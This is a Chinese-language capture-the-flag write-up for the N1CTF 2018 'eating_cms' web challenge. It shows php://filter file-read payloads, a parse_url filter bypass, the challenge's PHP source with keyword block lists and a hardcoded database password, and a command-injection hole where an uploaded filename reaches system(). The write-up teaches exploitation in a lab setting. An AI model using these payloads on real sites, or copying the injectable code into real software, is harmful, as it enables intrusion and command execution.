[N1CTF 2018]eating_cms

目录

前言：

解题：

总结：

---

前言：

仅记录我的知识收集。

解题：

进入环境，可以看到一个登录框。

 尝试用 弱口令登录。

提示有waf ，那就先不尝试SQL注入了，访问register.php 可以注册个账号。这个是扫出来的。

 登录后 来到这个页面，看到url ，应该是有任意文件读取，或者任意文件下载的

 

 利用php伪协议读取一下 user.php , login.php ,register.php 等文件。

user.php?page=php://filter/read/convert.base64-encode/resource=user

这里 没 + .php后缀是因为源码源码帮我们自动加了。

user .php

require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");
 
}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

index.php

require_once "function.php";
if(isset($_SESSION['login'] )){
    Header("Location: user.php?page=info");
}
else{
    include "templates/index.html";
}
?>

register

require_once "function.php";
if($_POST['action'] === 'register'){
    if (isset($_POST['username']) and isset($_POST['password'])){
        $user = $_POST['username'];
        $pass = $_POST['password'];
        $res = register($user,$pass);
        if($res){
            Header("Location: index.php");
        }else{
            $errmsg = "Username has been registered!";
        }
    }
    else{
        Header("Location: error_parameter.php");
    }
}
if (!$_SESSION['login']) {
    include "templates/register.html";
} else {
    Header("Location : user.php?page=info");
}
 
?>

 function.php

session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}
 
 
function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}
 
function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}
 
function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}
 
function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}
 
function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}
 
function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}
 
function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}
 
function logout()
{
    session_destroy();
    Header("Location: index.php");
}
 
?>

config.php

error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
        echo "no sql connection".mysqli_connect_error();
        $mysqli=null;
        die();
}
?>

看到 function.php里的

 parse_url解析漏洞 payload 读取 ffffllllaaaaggg 文件

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

再接着去看m4aaannngggeee

if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";
 
?>

发现了templates/upload.html，进入该页面（payload：/templates/upload.html）

随便上传一个 PHP 文件，显示错误 

 显示了一个 upllloadddd.php

再回去用php伪协议读取一下 upllloadddd.php 的源码。

$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success
";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

看到这一行 有一个system 。而filename 可控，可以插入恶意代码 

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

但是我们需要找到真正的上传页面，而真正的上传页面 再前面所给的m4aaannngggeee中，

payload：/user.php?page=m4aaannngggeee

  /  被过滤了，用 分号隔开命令就好了

总结：

题不难就是有点绕 

。。。